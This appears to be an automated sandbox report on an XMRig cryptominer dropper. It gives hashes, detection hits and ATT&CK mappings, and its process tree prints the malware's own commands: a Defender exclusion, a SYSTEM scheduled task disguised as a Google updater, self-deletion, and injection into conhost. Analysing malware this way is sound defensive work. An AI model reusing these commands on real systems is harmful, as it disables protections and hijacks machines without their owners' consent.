xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
438s
max time network
1794s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2936 created 1192	2936	UMRsPGc4u9tycx9r.exe	17
PID 2936 created 1192	2936	UMRsPGc4u9tycx9r.exe	17
PID 2936 created 1192	2936	UMRsPGc4u9tycx9r.exe	17
PID 2936 created 1192	2936	UMRsPGc4u9tycx9r.exe	17
PID 628 created 1192	628	updater.exe	17
PID 628 created 1192	628	updater.exe	17
PID 628 created 1192	628	updater.exe	17
PID 628 created 1192	628	updater.exe	17
PID 1144 created 1192	1144	conhost.exe	17
PID 628 created 1192	628	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral23/memory/2748-67-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2748-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2612	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
628	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2900	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral23/memory/2748-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2748-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 628 set thread context of 1144	628	updater.exe	46
PID 628 set thread context of 2748	628	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UMRsPGc4u9tycx9r.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2716	schtasks.exe
2368	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1208	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30849dee3e4fda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2936	UMRsPGc4u9tycx9r.exe
2936	UMRsPGc4u9tycx9r.exe
2520	powershell.exe
2936	UMRsPGc4u9tycx9r.exe
2936	UMRsPGc4u9tycx9r.exe
2676	powershell.exe
2936	UMRsPGc4u9tycx9r.exe
2936	UMRsPGc4u9tycx9r.exe
2936	UMRsPGc4u9tycx9r.exe
2936	UMRsPGc4u9tycx9r.exe
2576	powershell.exe
628	updater.exe
628	updater.exe
1744	powershell.exe
628	updater.exe
628	updater.exe
1348	powershell.exe
628	updater.exe
628	updater.exe
1144	conhost.exe
628	updater.exe
628	updater.exe
1144	conhost.exe
628	updater.exe
628	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeDebugPrivilege	628	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1208	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1208	WMIC.exe
Token: SeSecurityPrivilege	1208	WMIC.exe
Token: SeTakeOwnershipPrivilege	1208	WMIC.exe
Token: SeLoadDriverPrivilege	1208	WMIC.exe
Token: SeSystemtimePrivilege	1208	WMIC.exe
Token: SeBackupPrivilege	1208	WMIC.exe
Token: SeRestorePrivilege	1208	WMIC.exe
Token: SeShutdownPrivilege	1208	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1208	WMIC.exe
Token: SeUndockPrivilege	1208	WMIC.exe
Token: SeManageVolumePrivilege	1208	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1208	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1208	WMIC.exe
Token: SeSecurityPrivilege	1208	WMIC.exe
Token: SeTakeOwnershipPrivilege	1208	WMIC.exe
Token: SeLoadDriverPrivilege	1208	WMIC.exe
Token: SeSystemtimePrivilege	1208	WMIC.exe
Token: SeBackupPrivilege	1208	WMIC.exe
Token: SeRestorePrivilege	1208	WMIC.exe
Token: SeShutdownPrivilege	1208	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1208	WMIC.exe
Token: SeUndockPrivilege	1208	WMIC.exe
Token: SeManageVolumePrivilege	1208	WMIC.exe
Token: SeLockMemoryPrivilege	2748	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2716	2676	powershell.exe	32
PID 2676 wrote to memory of 2716	2676	powershell.exe	32
PID 2676 wrote to memory of 2716	2676	powershell.exe	32
PID 2612 wrote to memory of 2432	2612	cmd.exe	33
PID 2612 wrote to memory of 2432	2612	cmd.exe	33
PID 2612 wrote to memory of 2432	2612	cmd.exe	33
PID 2576 wrote to memory of 3048	2576	powershell.exe	34
PID 2576 wrote to memory of 3048	2576	powershell.exe	34
PID 2576 wrote to memory of 3048	2576	powershell.exe	34
PID 2900 wrote to memory of 628	2900	taskeng.exe	36
PID 2900 wrote to memory of 628	2900	taskeng.exe	36
PID 2900 wrote to memory of 628	2900	taskeng.exe	36
PID 1348 wrote to memory of 2368	1348	powershell.exe	45
PID 1348 wrote to memory of 2368	1348	powershell.exe	45
PID 1348 wrote to memory of 2368	1348	powershell.exe	45
PID 628 wrote to memory of 1144	628	updater.exe	46
PID 1680 wrote to memory of 1208	1680	cmd.exe	51
PID 1680 wrote to memory of 1208	1680	cmd.exe	51
PID 1680 wrote to memory of 1208	1680	cmd.exe	51
PID 628 wrote to memory of 2748	628	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1192
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2716
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2368
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1144
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1208
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2008
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2748

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2432

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:3048

C:\Windows\system32\taskeng.exe
taskeng.exe {465A173C-149C-400B-81BB-D413CD85C668} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 13KB
SHA256 d662ae6d3342dc89ca9e958ee6a5a5939ddcc48297de1a522dd348ea5c432966
MD5 beba4e04724f1257231e92801382436e
SHA1 d5b7bd3fcafeb1c3c18d309491dfea39885b5820
SHA512 f4915e4b33e2b4a7c30565d31310476cc71d5ab9ad46dc746e3f8b960ae0dba3eeb7563d323bd449ce262b5fa6e55d53d097338391d19fe1993f558d6d5bd0c9
SSDEEP 384:wSz/ROxnE88XJJvc4mOFBinXYfsOn8vTWj5pk/uEncgShTq:w80qZz2da1pk/0Q
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 42KB
SHA256 07d8befe1d3b8897e7770e96f04f434c098bfc36dace09260cb29958df40b90d
MD5 b1cbbc9eae5462fd80b97c46473b2fb3
SHA1 56714e0f7d582a61fd41f21c7acce49b8571d90d
SHA512 36689621aca6fee0447fc5f21498d08a8be39b15ca79fd15601cc4f25984f85927df6dcedc4a1aa6ca1386fb5abf677843e55f5e9aae483bfad42ea9549ab5ea
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoKA:L3zCarzIpyj5pLauwYY94E6w/oR
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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FLCWY30G2QN3W81OWP6R.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FLCWY30G2QN3W81OWP6R.temp
Size 7KB
SHA256 61e009a2a6f69853b4da0c661af16ae59eec1b6e9b95189940eb71e58d4e082d
MD5 69c3ed008d26f3e57b7fed8e0afd9ebb
SHA1 63e0ccb2c6f9ff07a1a27cd41a02be62356338c2
SHA512 c2952e869d88354756836268e110f7b0709a17a2eca06ea594d598b2c4f399ce7ecca6a0f4705a5a9506c68a960f6dfdcbfec189b7fb29affa011bdf8832b524
SSDEEP 96:8+kiCVM8tnqvsqvJCwor+kiCVM8tnqvsEHyqvJCwor9+sRrQHSb7BYXlUVi:rk/xUoCk/xAHnor9Dr/b7BYl
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 51KB
SHA256 faffc54b836eb2362980f741efca2b4c4e81edb44dce151828e347245f56b0e8
MD5 9af94f6cb405e5edc8386523f36e6b42
SHA1 25478a630f7e4f4f03a433cb6a1fdb691ec79e9a
SHA512 4a08f0983ae5ee0e770737786acb2e683feb3f820d2134ddc93b22330df06038e1f11afe163e87c0ba5082a879e686a245a03ca770f34878e111748336fc915c
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOjxjB:L3zCarzIpyj5pLauwYY94E6w/oBB
MD5 SHA1 SHA512 SSDEEP

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memory/628-45-0x000000013FD30000-0x000000013FF41000-memory.dmp

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memory/628-65-0x000000013FD30000-0x000000013FF41000-memory.dmp

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memory/1144-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1144-77-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1348-54-0x0000000001440000-0x00000000014C0000-memory.dmp

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memory/1348-58-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/1348-53-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/1348-55-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/1348-56-0x0000000001440000-0x00000000014C0000-memory.dmp

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memory/1348-57-0x0000000001440000-0x00000000014C0000-memory.dmp

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memory/1744-51-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/1744-49-0x0000000001354000-0x0000000001357000-memory.dmp

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memory/1744-46-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

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memory/1744-50-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/1744-52-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

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memory/1744-48-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

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memory/1744-47-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/2520-10-0x0000000002A70000-0x0000000002AF0000-memory.dmp

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memory/2520-8-0x0000000002A70000-0x0000000002AF0000-memory.dmp

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memory/2520-11-0x0000000002A70000-0x0000000002AF0000-memory.dmp

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memory/2520-13-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/2520-12-0x0000000002A70000-0x0000000002AF0000-memory.dmp

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memory/2520-7-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/2520-6-0x0000000002660000-0x0000000002668000-memory.dmp

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memory/2520-9-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/2520-5-0x000000001B450000-0x000000001B732000-memory.dmp

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memory/2576-36-0x0000000002A60000-0x0000000002AE0000-memory.dmp

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memory/2576-35-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/2576-38-0x0000000002A60000-0x0000000002AE0000-memory.dmp

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memory/2576-41-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/2576-40-0x0000000002A60000-0x0000000002AE0000-memory.dmp

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memory/2576-39-0x0000000002A60000-0x0000000002AE0000-memory.dmp

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memory/2576-37-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

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memory/2676-20-0x00000000026D0000-0x00000000026D8000-memory.dmp

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memory/2676-19-0x000000001B400000-0x000000001B6E2000-memory.dmp

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memory/2676-27-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

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memory/2676-23-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

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memory/2676-24-0x0000000002940000-0x00000000029C0000-memory.dmp

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memory/2676-26-0x0000000002940000-0x00000000029C0000-memory.dmp

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memory/2676-25-0x0000000002940000-0x00000000029C0000-memory.dmp

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memory/2676-21-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

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memory/2676-22-0x0000000002940000-0x00000000029C0000-memory.dmp

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memory/2748-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-68-0x0000000000ED0000-0x0000000000EF0000-memory.dmp

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memory/2748-69-0x0000000000F00000-0x0000000000F20000-memory.dmp

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memory/2748-67-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-75-0x0000000000ED0000-0x0000000000EF0000-memory.dmp

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memory/2748-76-0x0000000000F00000-0x0000000000F20000-memory.dmp

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memory/2748-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2748-98-0x0000000140000000-0x00000001407F4000-memory.dmp

